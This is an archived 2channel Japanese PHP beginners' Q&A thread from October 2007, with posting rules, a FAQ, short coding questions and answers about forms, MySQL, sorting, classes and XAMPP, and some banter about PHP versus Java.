2ちゃんねる ★スマホ版★ ■掲示板に戻る■ 全部 1- 最新50  

■ このスレッドは過去ログ倉庫に格納されています

【PHP】下らねぇ質問はここに書き込みやがれ 57

1 :nobodyさん:2007/10/22(月) 23:10:36 ID:mIlonsko
まず読め→【PHP マニュアル】http://www.php.net/manual/ja/
PHPで最良の教本はこの公式マニュアル。市販の書籍は嘘が多いので鵜呑みにしない。
過去スレ、関連スレ、FAQなどは>>2-10辺り

◆前スレ
【PHP】下らねぇ質問はここに書き込みやがれ 56
http://pc11.2ch.net/test/read.cgi/php/1192092941/

◆質問する時の注意
・ sage進行(メール欄にsageと記入すること)「sage進行」とはスレを目立つ上部に上げないことによって、荒らしが発見できないようにすることです
・ サーバーのOS(Linux、Windows他)、WebサーバーとPHPの種類やバージョン等を明記すること。
・ 己の行った操作、変更などを詳しく明記すること。
・ エラーメッセージはそのまま表記すること。「エラーが出ます」だけでは回答不可。
・ 質問者として、態度をわきまえること。
・ 事前に公式マニュアル、リファレンス本くらいはちゃんと目を通しておくこと。
・ 書き込むときには、「公式マニュアル、リファレンス本は読みました」と明記すること
(でないと、公式マニュアル読めと煽られます)

◆質問後の注意
・2回目以降は最初に質問した際のレス番号を名前欄に入れること。
・解決しなくても回答をもらった場合はお礼を言うこと。
 (荒らし、煽りは除く。煽られたときも、無闇に反論せずスルーすること。)

◆回答者への注意
・誰にレスしているのか分からないと困るので、>>(アンカー)をつけて回答すること。
・質問者が「公式マニュアル読んだ」と書いていないからといって、
公式マニュアルに書いてもいないのに、公式マニュアルよめと適当なことを言わないこと。
質問者は公式マニュアルを読んでいるかもしれない。

【その他諸注意】
・正規表現・PEAR・テンプレート(Smarty等)・フレームワークは各該当スレへ
・SQLについての質問はデータベース板(PCカテゴリ)の各スレで

2 :nobodyさん:2007/10/22(月) 23:11:55 ID:mIlonsko
■過去ログ
【PHP】下らねぇ質問はここに書き込みやがれ 55
http://pc11.2ch.net/test/read.cgi/php/1191058556/
【PHP】下らねぇ質問はここに書き込みやがれ 54
http://pc11.2ch.net/test/read.cgi/php/1189309377/
【PHP】下らねぇ質問はここに書き込みやがれ 53
http://pc11.2ch.net/test/read.cgi/php/1188047468/
【PHP】下らねぇ質問はここに書き込みやがれ 52
http://pc11.2ch.net/test/read.cgi/php/1186794483/
【PHP】下らねぇ質問はここに書き込みやがれ 51
http://pc11.2ch.net/test/read.cgi/php/1185521566/
【PHP】下らねぇ質問はここに書き込みやがれ 50
http://pc11.2ch.net/test/read.cgi/php/1184143801/
【PHP】下らねぇ質問はここに書き込みやがれ 49
http://pc11.2ch.net/test/read.cgi/php/1182794620/
【PHP】下らねぇ質問はここに書き込みやがれ 45 (※実質48)
http://pc11.2ch.net/test/read.cgi/php/1180181033/
【PHP】下らねぇ質問はここに書き込みやがれ 47
http://pc11.2ch.net/test/read.cgi/php/1180181033/
【PHP】下らねぇ質問はここに書き込みやがれ 46
http://pc11.2ch.net/test/read.cgi/php/1178955837/
【PHP】下らねぇ質問はここに書き込みやがれ 45
http://pc11.2ch.net/test/read.cgi/php/1178955768/
【PHP】下らねぇ質問はここに書き込みやがれ 45
http://pc11.2ch.net/test/read.cgi/php/1177635762/
【PHP】下らねぇ質問はここに書き込みやがれ 44
http://pc11.2ch.net/test/read.cgi/php/1176364487/
【PHP】下らねぇ質問はここに書き込みやがれ 43
http://pc11.2ch.net/test/read.cgi/php/1175368910/
【PHP】下らねぇ質問はここに書き込みやがれ 42
http://pc11.2ch.net/test/read.cgi/php/1174217841/

3 :nobodyさん:2007/10/22(月) 23:13:14 ID:mIlonsko
関連リンク
■本家マニュアル   http://www.php.net/manual/ja/
■日本PHPユーザ会 http://www.php.gr.jp/
■PEARマニュアル  http://pear.php.net/manual/ja/
■メーリングリスト   http://ns1.php.gr.jp/mailman/listinfo/
■ZFマニュアル    http://framework.zend.com/manual/ja/

(以下英語)
■Smarty       http://smarty.php.net/
■Zend本家      http://www.zend.com/
■Zend Framework  http://framework.zend.com/
■CakePHP      http://www.cakephp.org/
■Code Igniter    http://www.codeigniter.com/
■php | architect   http://www.phparch.com/
■Smartyマニュアル http://smarty.php.net/manual/en/
■PECL本家(英語) http://pecl.php.net/

4 :nobodyさん:2007/10/22(月) 23:13:48 ID:???
もう57か。お前らほんとがんばった

5 :nobodyさん:2007/10/22(月) 23:14:16 ID:mIlonsko
【簡易FAQ】
1.文字コードは何を使えばいいの?
 →1.UTF-8 2.EUC-JP のどちらか。迷うようなやつはShift_JISは使っちゃダメ。
2. このスレに書き込むときに自分のサイト名を晒したくない
 → http://example.com/が例文などのために予約されている。hogehoge.comは使っちゃダメ。
3. ブラウザに何も表示されないんだけど・・・
 → Apacheの設定を見直せ。ファイルの拡張子は何にしてて、その拡張子でPHPを呼ぶようになっているか?
4. 記号の意味がわからないけどググりようがない
 → 「@」 エラー表示を抑制、「->」 オブジェクトのメンバにアクセス、「::」 静的なメソッド呼び出し、
  「==」は暗黙の型変換をしてゆるい比較、「===」は型情報も含めた厳密な比較
5. echo "$arr['hoge']['fuga']"; と書いたらエラーになった
 → {おっぱい括弧}でくくって"{$arr['hoge']['fuga']}"にする
6. 一定時間ごとに自動的に何かしたいんだけど
 → cronかタスクスケジューラを使え。
7.extractって危険なの?
 →変数上書き&初期化忘れなどで危険。楽だからという理由だけで安易に使わない。
8. include/requireに「〜.php?a=b&c=d」のようなパラメータをつけたい
 → URL呼び出しなら可能だけど、普通のファイル呼び出しではできません
9.include/requireでURLを指定しても何も起きない
 → .phpの拡張子のファイルをURLで呼び出すと、1度PHPプログラムとして実行された結果になる。
10. そもそもインストールの時点でうまくいかない
 → 確認すべきはPHPのconfigureの引数、php.iniの内容と置き場所、
  Webサーバの設定(Apacheならhttpd.conf)、起動&再起動あたり

6 :nobodyさん:2007/10/22(月) 23:15:05 ID:mIlonsko
11. SQLの質問はどこで?
 → データベース板に誘導されるのが嫌ならPHPにうまく関連させて質問する
12. 文字列のなかに、英字のみとか数字のみとか記号が入っちゃいやんとかはどうしたらいいの?
 → ctype_〜()が手軽。複雑なパターンはpreg_〜()あたりで正規表現を使う。
13. $a1, $a2, $a3 ... のような変数名をうまく扱いたい
 → 可変変数で実現できるけど、むしろ配列を使って$a[1], $a[2], $a[3]等とするのがベター
14. echoとprintってどう違うの?
 → よく議論される話題であるが基本的に両者とも同じ。 以下ちょっとした議論。
  http://www.faqts.com/knowledge_base/view.phtml/aid/1/fid/40
15. クッキーの情報をユーザから隠したい
 → セッション使え。ただしクッキーとセッションは仕組みが違うから同じように扱うな
16. strip_tags()で削除しないタグを複数指定したい
 → strip_tags($html, '<a><p><font>'); // htmlspecialchars()も検討すべし
17. CSVやTSVのファイルをスマートに扱いたい
 → まずはfgetcsv()。ただし日本語を含むと正常に動作しない場合があるので注意だ。
18. 値渡しと参照渡し(「&」を使う)のパフォーマンスの違い
 → C言語じゃないので、パフォーマンス目的で使いわけたらダメ。参照渡しにすると逆に遅くなったりする
  参照渡しは引数に戻り値を設定したり引数を関数内で変更するなど、正しい目的に使うこと
19. ファイル入出力関数(fopen等)でリモートファイル(http://〜とか)を扱う際の限界
 → fsockopen()でソケット通信 or PEARのHTTP系 or CURLで解決
  必要ならHTTPをはじめとする各種プロトコル(どんなデータを送受信するか)はRFCなどで調べる
20. PHPからPOSTリクエストしたい
 →19.を参照
21. 画像処理一般 or GDの限界
 → ImageMagick(PECLのやつ or シェルから実行)
22. 画像・音・動画はファイルで保存?DBに保存?
 → 好きにしてください
23. もっと楽に開発したい。
 → フレームワークを使ってください
24. PHP用のフレームワークって何があるの?
 → 公式ならZend Framework、PHP4にも対応させるのならCakePHPかCode Igniter

7 :nobodyさん:2007/10/22(月) 23:21:46 ID:???
スレ立て遅いよ。何やってんの!

8 :nobodyさん:2007/10/22(月) 23:29:02 ID:???
>>1
おつー

9 :nobodyさん:2007/10/22(月) 23:56:16 ID:R2eOhRPO
>>1

待ちわびたぜ!(スレ立て規制されてたみたいね。)
という訳でアゲておきまする

10 :nobodyさん:2007/10/23(火) 00:05:24 ID:???
>>7
父さんにも遅いって言われたこと無いのに!

11 :nobodyさん:2007/10/23(火) 00:07:21 ID:ZhIjhS7R
>>1 乙

さっそく質問なんですけど、
<form method="post" action="">
<input type="text" name="name[]" /><input type="text" name="name[]" />....
</form>
の送信先として以下を設定してるんですが、テーブルにデータ登録されてません。
どこに問題があるんでしょう?
<?php
extract($_POST);
$db=mysql_connect('localhost','root','*****');
mysql_select_db('testTable');
mysql_query("SET NAMES utf8");
$dNum = count($_POST['name']) - 1;
if($test != ""){
for($i=0;$i<=$dNum;$i++){
$sql = "insert into musicGenre values(0,'$name[$i]')";
mysql_query($sql);
}
}
?>
winXP apache2 php5 mysql5です

12 :nobodyさん:2007/10/23(火) 00:13:58 ID:???
>>11
<form method="post" action="">のaction=""に書いてないってオチじゃないよね?

13 :nobodyさん:2007/10/23(火) 00:16:54 ID:owrplvTV
extract();は使ったことないからよくわからんが意味ないような?

14 :nobodyさん:2007/10/23(火) 00:18:02 ID:ZhIjhS7R
>>12
ありがとうございます。
いや、それは書いてるんです。
***[]の形式を使った不特定数のデータの送信は初めてなんですが、
間違ってるんでしょうか?

15 :nobodyさん:2007/10/23(火) 00:18:06 ID:???
>>11
> extract($_POST);
ここでvar_dump()

> $db=mysql_connect('localhost','root','*****');
ここでエラーチェック

> mysql_select_db('testTable');
ここでエラーチェック

> mysql_query("SET NAMES utf8");
ここでエラーチェック

> mysql_query($sql);
ここでエラーチェック

少なくともそれだけやってから質問しましょう。

16 :nobodyさん:2007/10/23(火) 00:20:22 ID:???
>>11
> $sql = "insert into musicGenre values(0,'$name[$i]')";
ここで$name[$i]に意図したデータがセットされてるのは
確認済みなのか?

17 :nobodyさん:2007/10/23(火) 00:27:06 ID:???
>>11
>>if($test != ""){

$testに何か代入済み?

18 :nobodyさん:2007/10/23(火) 00:27:53 ID:Qf6Mf1rN
60秒-1秒の計算をしたいと思ってます。
例えば、30秒なら30-1=29で、単純なのですが、
00秒の場合、59にする必要があります。
03秒の場合、03-1=2…では駄目なので、
2に「0」を付けて、02とする必要があります。
if文で60通り書く・・・という糞ロジックしか浮かばないのですが、
スマートな書き方をご教授頂けませんでしょうか。
よろしくお願いします。


19 :nobodyさん:2007/10/23(火) 00:29:54 ID:???
>>18
sprintf

20 :nobodyさん:2007/10/23(火) 00:35:43 ID:???
>>18
$sec = $in - 1;
if($sec < 0) $sec = $sec + 60;
$sec = sprintf("%02d", $sec);

21 :nobodyさん:2007/10/23(火) 00:43:00 ID:???
>>18

// $sec=0〜60
sprintf("%02d",($sec -1) % 60)

22 :nobodyさん:2007/10/23(火) 00:46:17 ID:???
$sec の validation やってから
$sec = sprintf("%02d", ($sec - 1) % 60));

>21
0 入れたら -1 になるっぽいが

23 :nobodyさん:2007/10/23(火) 00:46:58 ID:???
うわ >21 検証してて同じこと書いた orz
$sec -1 → $sec + 59

24 :nobodyさん:2007/10/23(火) 00:49:12 ID:owrplvTV
秒数だけでいいの?

25 :21:2007/10/23(火) 00:51:30 ID:???
>>22
えっ、そうなの。
PHP手元にないので別言語で試しただけだったのでスマン

26 :11:2007/10/23(火) 00:56:40 ID:ZhIjhS7R
皆さんありがとうございます。
色々試してみたらうまくいきました。
送りてのphpと受け手のphpが修正するたびに変なタイミングでキャッシュされて
実行できてなかったみたいです。
>>17
>>>if($test != ""){
そこも問題でした。
どうもありがとうございました

27 :nobodyさん:2007/10/23(火) 01:22:57 ID:???
>>11
extractはソース追っかけにくくなるから辞めた方がいいよ

28 :nobodyさん:2007/10/23(火) 01:40:44 ID:???
arsort関数で、一番目の要素を除いて、逆順に並び替えたいのですが、
どのようにすればよいでしょうか?


29 :nobodyさん:2007/10/23(火) 01:47:55 ID:???
>>28
uasort
もしくは一番目を抜いてarsortして入れる

30 :>>28:2007/10/23(火) 01:50:08 ID:???
>>29
檄早レスサンクス!


31 :nobodyさん:2007/10/23(火) 02:05:52 ID:???
>>27
わかりました 貴重な情報ありがとう

32 :nobodyさん:2007/10/23(火) 03:03:01 ID:vdGuypQI
$dirurl[0] = '../index/1/';
$dirurl[1] = '../index/2/';

foreach($dirurl as $key =>$value){
$dirurl = $value;
$dir = @opendir($dirurl);
while($file = readdir($dir)) {

if (!is_dir($file)){
@include_once($dirurl.$file);
$fullurl = $dirurl.$file;
$data = explode("." , $dirurl.$file);

echo $data;
echo $include_data;
}
}
closedir($dir);
}
としてファイル名を取得してるのですが、ファイル名はabc.phpの時と123.phpの時があります。
ファイル名が数字だけの時に取得するファイル一覧を数字の大きな順に取得したいのと。
include先の変数$include_dataの数値の数字の大きな順に並べるって言うのは
どうすればいいのでしょう。

33 :nobodyさん:2007/10/23(火) 03:07:24 ID:???
>>32
is_numeric
sort

34 :nobodyさん:2007/10/23(火) 03:32:31 ID:???
おじゃまします。

・最近チェックした商品を、ページに表示する
・画像やページを遷都する際に、背景をグレーアウトしてNow Loading...等を出す

ということをやりたいんですが、
Cookieや、Javascriptを使うのは理解できるんですが、なかなかサンプルも見つからず、
どこか分かりやすく解説しているサイトか書物ってないでしょうか?
もしくは、何を勉強すればいいのかヒントください。


35 :nobodyさん:2007/10/23(火) 03:46:02 ID:???
>>34
>Cookieや、Javascriptを使うのは理解できるんですが、なかなかサンプルも見つからず、
ここPHPのスレなんですけど><;

flush()あたりを使えばいいかもしれない

と答えて言うのもなんだが>>1

36 :nobodyさん:2007/10/23(火) 04:12:02 ID:???
まずはマルチしないことから

37 :nobodyさん:2007/10/23(火) 04:14:57 ID:???
クラス継承したあと
親クラスで定義されているメソッドを定義すると
上書きされますよね。
あれを上書きではなく、追加、みたいな感じにすることって不可能でしょうか?

たとえば、
親クラスで
test()
{
echo "hoge";
}
があった場合、
子クラスで
test()
{
echo "fuga";
}
とすると、
子クラスの test()使った場合、
echo "fuga"; が実行されますが、
これを
echo "hoge";
echo "fuga";
が実行されるようにしたいのです。

38 :nobodyさん:2007/10/23(火) 04:16:26 ID:???
>>37
parent::test();

39 :nobodyさん:2007/10/23(火) 04:25:32 ID:???
超初心者で申し訳ないのですが、
インストール、設定で色々調べていくつかのサイトは見つたのですが、それらを参考にして設定していたのですがなかなか上手くいきません
そこでphpのインストールやら設定で分かり易く解説しているオススメのサイトをご存知ではありませんか?
できればお願いします

40 :nobodyさん:2007/10/23(火) 04:28:34 ID:???
>>39
XAMPP入れれば1発
次からはID出してね

41 :nobodyさん:2007/10/23(火) 04:35:46 ID:???
深夜なのになぜか皆起きてるwww

42 :nobodyさん:2007/10/23(火) 04:38:55 ID:???
>>39
環境が何も分からないので推測で書くが
1.phpフォルダをコピー
2.Apacheのhttpd.confにLoadModuleとAddTypeを書き加える
3.必要に応じてphp.iniを編集
4.再起動
でok

>>40
http://www.php.net/manual/ja/install.windows.php
インターネットでオールインワンのインストーラがいくつか見かけられます。 しかし、
いずれも PHP.net により公認されたものではありません。 システムを最適化し、
また、安全を保つためには、 ≫ http://www.php.net/downloads.php にある公式
windows パッケージのいずれかを使用することが もっとも良い選択ではないかと
我々は考えています。


43 :nobodyさん:2007/10/23(火) 04:48:02 ID:vdGuypQI
>>33
早速レスをいただいててありがとうございます。
あまり寝ていなかったので寝てました・・・
is_numeric と sort をどう組み込めばいいのか分からないので
少し調べてみます。


44 :nobodyさん:2007/10/23(火) 04:49:08 ID:???
>>42
PHPの開発には企業・個人問わずXAMPPが主流だと思うのだが。
鯖を運営するわけでもないしセキュリティーホールが見つかったととしても、
すぐにアップデートする必要もない。

>インターネットでオールインワンのインストーラがいくつか見かけられます。
> しかし、いずれも PHP.net により公認されたものではありません。
>システムを最適化し、また、安全を保つためには〜

この文言は最新版でないPHPをつかってる可能性があるから入れてるわけで、
そんなのXAMPPつかってないユーザにも当てはまるし、
そもそもオールインワンといってもファイルの中身は同じなわけで(多少設定はいじってるが)

45 :nobodyさん:2007/10/23(火) 04:52:17 ID:???
ローカルに確認環境を用意するだけなら手軽で時間が掛からないパッケージで十分。

46 :nobodyさん:2007/10/23(火) 05:15:57 ID:???
> PHPの開発には企業・個人問わずXAMPPが主流だと思うのだが。
何息を吐くように嘘付いてるんだ。根拠を示してみろ。

47 :nobodyさん:2007/10/23(火) 05:22:11 ID:???
>>46
会社で実際に使ってるし俺個人も使ってるぜ

48 :nobodyさん:2007/10/23(火) 05:24:53 ID:???
>>46
金食い虫のlinuxオタクの鯖管はいらないってことですよ^^;
今からはパッケージが主流になり、問題が起きた時のみ外部委託するコスト削減型がメインになるんです
ttp://www.thinkit.co.jp/free/article/0701/12/1/


49 :nobodyさん:2007/10/23(火) 05:28:11 ID:???
パッケージという単語自体に嫌悪感を感じる

50 :nobodyさん:2007/10/23(火) 05:30:15 ID:???
もう年だなw

51 :nobodyさん:2007/10/23(火) 05:36:13 ID:???
Java使いなんだろパッケージサイコー

52 :nobodyさん:2007/10/23(火) 06:29:34 ID:???
>>48
それのどこに「PHPの開発は企業・個人問わずXAMPPが主流」って書いてあるの?

53 :nobodyさん:2007/10/23(火) 06:30:39 ID:???
最近気付いたのですが、mysqlやmypostgresqlを商用ベースで使うと
莫大なライセンス料が発生すると聞いたのですが、phpはそんなの関係ねーーーーーでFAですか?

54 :nobodyさん:2007/10/23(火) 07:03:15 ID:???
自社サービス以外で使う事あるのか?
システム売りも買う側は払う必要がないし、作っている側が上乗せすればいいだけの話だろ
そもそも派遣システムがあるので、顧客先に派遣されて社内開発すれば問題ないよw

55 :nobodyさん:2007/10/23(火) 07:08:47 ID:???
パッケージって傀儡を大量生産するには好都合なんだよね
ブラックボックス化することにより環境構築をサービスと
して成立させることも可能

56 :nobodyさん:2007/10/23(火) 07:15:09 ID:???
>>53
PHPは利用目的により異なるライセンス体系を適用なんて野暮なことはしないから無問題
MySQLはGPLと商用ライセンスの二本立てってのが煩わしいかな

っつうか、どんだけの人間がライセンスを理解し、かつポリシーに従っているかは興味ある


57 :nobodyさん:2007/10/23(火) 07:40:09 ID:???
phpさえ出来れば、女が勝手についてくると思い込んで数年。
もはや、女どころか男友達もいなくなりました。

58 :nobodyさん:2007/10/23(火) 08:19:24 ID:???
>>57
仕事に専念できてよかったじゃん

59 :nobodyさん:2007/10/23(火) 08:23:07 ID:ZhIjhS7R
質問させてください。
1)a.phpでフォームAに入力して「送信」(action="b.php")
2)b.phpでAの内容をSQL処理。追加情報フォームBを表示
という処理をしたいとき、フォームBのページ(b.php)をリロードしたら
フォームAの内容を再度SQL処理してしまうのではと不安です。
回避する方法はないでしょうか?
考えた方法としては、A-Bの間に一枚処理用のページをはさませて、
そこで実行後Bにリダイレクトかと思いましたが、そういうことをしてるページは
少ないようです。(アマゾンの注文フォームなんかは違ったような…)
ご意見お願いします。
あまり関係ないかもしれないですが、仕様としては、Bのフォーム表示の際に、
AのSQL処理で生成されるインクリメント値を利用したいと思っています。
(BのSQL処理の際に、それを主キーとしたいので…)

環境はwinXP,apache2,php5,mysql5です

60 :nobodyさん:2007/10/23(火) 10:08:58 ID:???
php勉強して派遣のpgでもやろうとしたんだけど、
php技術者って時給安すぎだよ。javaやoracleの方が相当高い。
phpに罪はないだろうけど、仕事としてはやっていけないね、この言語。

61 :nobodyさん:2007/10/23(火) 10:09:49 ID:???
>>60
もっとPHP勉強しる

62 :軟式PHP:2007/10/23(火) 10:10:18 ID:???
>>59
ここ参考になる鴨。
http://itpro.nikkeibp.co.jp/article/COLUMN/20070910/281585/

63 :nobodyさん:2007/10/23(火) 10:15:04 ID:???
>>60
そりゃそうだw 大規模なサイトやシステムを構築するのにPHPではとても使えない。
必然的に小規模のサイトに用途が限られるわけで、予算のしょぼい。よって技術者に支払える給料もちょびっとww
学生バイトでやるならいいけど、仕事(自社のHPの管理を除く)としてPHPはきつい。家庭がない独身なら生活はなんとかできると思うけどね。

64 :nobodyさん:2007/10/23(火) 10:18:44 ID:02rIs4mu
timeとかの時刻ってどっから取得しているんですか?
システムクロック?NTPサーバ?


65 :nobodyさん:2007/10/23(火) 10:20:35 ID:???
>>63
Webアプリなんて、ほとんどDBからデータを引っ張ってきて
ちょっと加工して表示して、追加・更新・削除するだけだろ?
Javaでしかできないことがあったら知りたい

66 :軟式PHP:2007/10/23(火) 10:21:53 ID:???
>>64
スタンドアロンでも動くのだから分かるべ。
マニュアルにも
・PHPスクリプトを実行するサーバから日付と時間を取得することが可能となります。
と買いとる。

67 :nobodyさん:2007/10/23(火) 10:23:04 ID:???
>>65
素人乙。大規模開発では、信頼性、拡張性が重要なんだよ。
phpのクラス仕様じゃ、とても対応できないだろ。

68 :nobodyさん:2007/10/23(火) 10:26:02 ID:02rIs4mu
>>66
どうもです。取得しているところを使い分けられるのかな〜って思ったんですが。
ネットにつながっていれば、NTPからなのかな?、とか。

69 :軟式PHP:2007/10/23(火) 10:29:04 ID:???
>>67
でもまぁ、大規模なmixi・モバオク・モバゲーもperlで作ってるし作り手次第でしょ。
どんな言語でもプログラマがダメだったらダメなんですよ。
信頼性・拡張性もどちらかと言えばプログラマの知識・経験から作り出されるようなもんだし。

70 :nobodyさん:2007/10/23(火) 10:38:10 ID:???
大規模開発だと見栄や金取る理由が必要なんでしょ
クライアント側も無駄に見栄を張りたがるからPHP,PerlよりJava、
SIも金取れるからJavaで提案、みたいな

71 :nobodyさん:2007/10/23(火) 10:42:21 ID:???
>>67
おまえのレスのほうがよっぽど素人
実務すらしたことないだろ

72 :nobodyさん:2007/10/23(火) 11:06:23 ID:???
>>63
>大規模なサイトやシステムを構築するのにPHPではとても使えない。

(*^-^)

73 :nobodyさん:2007/10/23(火) 11:14:46 ID:???
アホばっか。

74 :nobodyさん:2007/10/23(火) 11:20:28 ID:???
>>73
しょうがねえよ。この業界、一般人の目を通したらアホにしか映らない人間ばかりだから。

75 :nobodyさん:2007/10/23(火) 11:41:52 ID:???
>>60
単金が安いのは需要と供給が崩れたからだろうね
昔の"VBできますよ似非技術者"が溢れかえった時みたいに

あと受け入れ側の心情として、どこの馬の骨か素性のわからん奴に
高額の報酬用意してお待ちしておりますなんてありえない

76 :nobodyさん:2007/10/23(火) 12:03:24 ID:UFlDplZu
>>67
それ言う人多いけど、具体的にどの仕様のことさして言ってるですか?
package?
enum?
ネストしたクラス?
クラス変数の初期化の柔軟性?

JAVAの厳密型付けは、俺も好きだけど
PHPにも大雑把なタイプヒンティングあるし、設計しだいでは、十分に
「再利用可能な」オブジェクト指向設計を出来ると思うけど。
packageは便利だね。部品化しやすいし。
確かに、PHPにもネームスペースはほしい。

煽りとかじゃなくて、最近JAVAにはまっていろいろ勉強してるし、
そう言う人が多いので、本当にどこがそうなのか教えてほしいと思う。

77 :nobodyさん:2007/10/23(火) 12:14:44 ID:???
>>76
大規模になれば、それだけ開発する人間も大人数(将来的な変更も考えれば更に大人数)になる。
人が多ければ、中には質の悪い技術者もいるし、仕様勘違いする奴も出てくる。
phpの場合、型は甘いし、privateメソッドも平気で呼び出せる。
結局VBの偽クラスと一緒で、オブジェクト指向が予定しているクラス仕様とは似て非なるもの。

動けば良いじゃんって思っている学生には関係ない話だが。

78 :nobodyさん:2007/10/23(火) 12:19:20 ID:???
秋山乙!

79 :nobodyさん:2007/10/23(火) 13:05:57 ID:???
>>77
>人が多ければ、中には質の悪い技術者もいるし、仕様勘違いする奴も出てくる。
こんなの言語とぜんぜん関係ない
Javaだったら、お前のような質の悪い技術者でもまともな製造ができるとでも言うのか?w
ただphpの悪い部分をあげつらいたいだけって感じだな

80 :nobodyさん:2007/10/23(火) 13:12:39 ID:???
Javaはキッチリ仕様がわかっていないと使えない
PHPは仕様が曖昧でも使える

こういうこと?

81 :nobodyさん:2007/10/23(火) 13:18:24 ID:???
DB mySQLだけど、どこかおもっきり素人でも分かりやすく解説してるサイトないかな?
まぁ。PHPも見習い程度なんだけど。

82 :nobodyさん:2007/10/23(火) 13:18:34 ID:???
よそでやってくれ

83 :nobodyさん:2007/10/23(火) 13:19:39 ID:???
>>82
お前がどっかへ行けば解決

84 :nobodyさん:2007/10/23(火) 13:41:47 ID:???
流行を追うものは流行の僅かなおこぼれを得るだけ



85 :nobodyさん:2007/10/23(火) 13:57:52 ID:???
>>84
この手の人間が一番最悪。
自分は世の中で完全無欠な人間だと思い込んでいる。
人が何か異論を唱えれば、逆賊と喧伝し激高する。
いわば犯罪予備軍と言うべきで、しかるべき機関に逮捕してもらいたい。

86 :nobodyさん:2007/10/23(火) 14:02:02 ID:???
>>81
googleでヒットするサイトのリファレンスとかじゃ駄目なのかい?
これ以上やさしくとか言われるとお手上げ

87 :nobodyさん:2007/10/23(火) 14:29:17 ID:???
>>85
流行に囚われすぎるなと発言しただけでそこまで言わなくても

88 :nobodyさん:2007/10/23(火) 14:33:33 ID:UFlDplZu
>>77
レスサンクス
スレ趣旨とずれてるのに今気づいたので、コメントは控えとく…

ところで質問があったの忘れてた。
PHPでstaticなfunctionから実際に呼び出されたクラス名を取得する方法ってあります?

例えば親クラスに
class Parent{
public static function getInstance(){
}
}
class Child extends Parent{
}

Child::getInstance();
としたときにgetInstanceの中でChildを取得することって出来ますでしょうか?
get_classも__CLASS__も親クラスの名前が来ちゃいました。

子クラスにクラス名を返すstaticメソッドをいちいち作ればいけるけど、それもなんだし・・・

なんかいい方法あったらお願いします。

89 :88:2007/10/23(火) 14:51:14 ID:???
マニュアルにdebug_backtrace();を使った方法が投稿されてましたね。
すんません。

そこのコメントにもあるけど、重そうだし、別の方法にします。
お騒がせしました。

90 :nobodyさん:2007/10/23(火) 15:30:26 ID:yqsanTFX
phpはインストールしないと使えないのですか?

91 :nobodyさん:2007/10/23(火) 15:36:29 ID:???
phpが使える無料レンタル鯖かりればインストールしなくてもいい

92 :nobodyさん:2007/10/23(火) 15:45:34 ID:???
>>40>>42即レスして頂いていたのですね!

早速調べてみたらいいサイト+見事にphpやらApacheやらエディッタやら様々なものを導入する事ができました!
インストールと設定でかなりの時間を費やしていたのに、これを入れたらすんなり行けたので驚きと感動を感じれました
これからやっとphpの勉強が開始できそうです

本当に有難うございました!

93 :nobodyさん:2007/10/23(火) 16:11:50 ID:???
>>90
自分のPCで開発するなら当然なくてはだめ。
ついでに言えばPHPだけだと簡単なデバッグぐらいにしか使えないので、
Apache(httpd)やMySQL(dbms)等のWebアプリを動作させるサーバ系ソフトが一式あったほうがいい。

レン鯖使っての開発はわざわざ修正するたびにスクリプトをアップロードしないといけないし、
なんかのバグでレン鯖に支障をきたしたら怒られるので基本的にやっちゃだめ。

つまり上のほうで出てるけどXAMPP入れればOK

94 :nobodyさん:2007/10/23(火) 16:18:45 ID:2nhYvC/g
classの中で定数を使いたいのですがどのように定義すればいいのでしょう?
class Hoge {
static final $hoge = 1;
define("HOGE", "aaaa");
}
いずれもだめでした。

95 :nobodyさん:2007/10/23(火) 16:24:56 ID:5s2xr4I1
179行まで走査処理をする際 $topwrite の項目の先頭に179番までの番号を
付加していきたいのですが array_unshift の使用では無理なのでしょうか?
マニュアル読んで試行しながらの製作なので稚拙な質問で申し訳ないです。

$topwrite = "$name\t$comment\t$time\t$delkey\n"; //新しく追加するデータを TAB で区切って整形
$write = fopen("./card-walin.cgi","w"); //書き込み用モードでデータを開く(データは空になる)
flock($write, LOCK_EX); //ファイルロック開始
fputs($write, $topwrite); //先頭に1行書き込む
for($i = 0; $i < 179; $i++){ //179行まで走査処理をする
$ppp = $log[$i];
$ooo = array_unshift($ppp, '[$i]');
fputs($write, $ooo); //今までの分を書き込む
}
flock ($write, LOCK_UN); //ファイルロック解除
fclose ($write); //ファイルを閉じる


96 :nobodyさん:2007/10/23(火) 16:37:34 ID:4NCgDg1P
レンタルサーバーでphpを動かす場合は、phpのバージョンはあまり関係ないでしょうか?

97 :nobodyさん:2007/10/23(火) 16:40:32 ID:???
>>94
php5ならconst使う
4ならあきらめる

98 :94:2007/10/23(火) 16:43:31 ID:2nhYvC/g
>>97
どうもありがとうございます。
こんなのがあったとは知りませんでした。
php5なのでこれを使いたいと思います。

99 :nobodyさん:2007/10/23(火) 16:44:07 ID:???
>>95
やりたい事がいまいちわかんない&情報が少ない
ファイルに書き込む内容の先頭に番号つけたいって事?



100 :nobodyさん:2007/10/23(火) 17:05:32 ID:???
>>95
よーしエスパーしちゃうぞー

$topwrite = "0\t$name\t$comment\t$time\t$delkey\n"; //新しく追加するデータを TAB で区切って整形
$write = fopen("./card-walin.cgi","w"); //書き込み用モードでデータを開く(データは空になる)
flock($write, LOCK_EX); //ファイルロック開始
$ppp = $topwrite;
for($i=0,$n=1;$i<179;$i++,$n++){
$ppp .= $n."\t".$log[$i]."\n";
}
fputs($write, $ppp); //今までの分を書き込む
flock ($write, LOCK_UN); //ファイルロック解除
fclose ($write); //ファイルを閉じる

101 :nobodyさん:2007/10/23(火) 17:10:48 ID:???
>>96
メジャーバージョン 4と5 では言語仕様で異なる部分が大きいので意識しなきゃ駄目
マイナーバージョンでも差異が生じる箇所が出てくるのでやはり意識しなきゃ駄目

102 :nobodyさん:2007/10/23(火) 17:41:46 ID:???
俺様は Windows環境で入門するならば IIS + PHP + SQLite のセットをお勧めする
SQLite が嫌なら最近 MS謹製PHP Driverが出た SQLServer2005Express + SSMSE
で、IDEはEclipse + PHP plugin

103 :95:2007/10/23(火) 17:50:42 ID:???
>>99
わかりにくくて申し訳ありません、
>>95のデータの上に実はログを$writeとして一度全取得する行がありまして
fputs($write, $topwrite); で新しい書き込みをそのログに付け足してるわけなんです。
そして179行まで走査処理をする (179行以前のログを消去する)際に
1行づつにナンバーを振りなおしたいと思っております。
-----------------------------------
$name\t$comment\t$time\t$delkey\n //一行のデータ内容

$no\t$name\t$comment\t$time\t$delkey\n //先頭にナンバーの項目を割り振っていきたい
-----------------------------------

これで何したいかと言うと削除ナンバーとして使いたいんですが
なんか凄いややこしいですね。
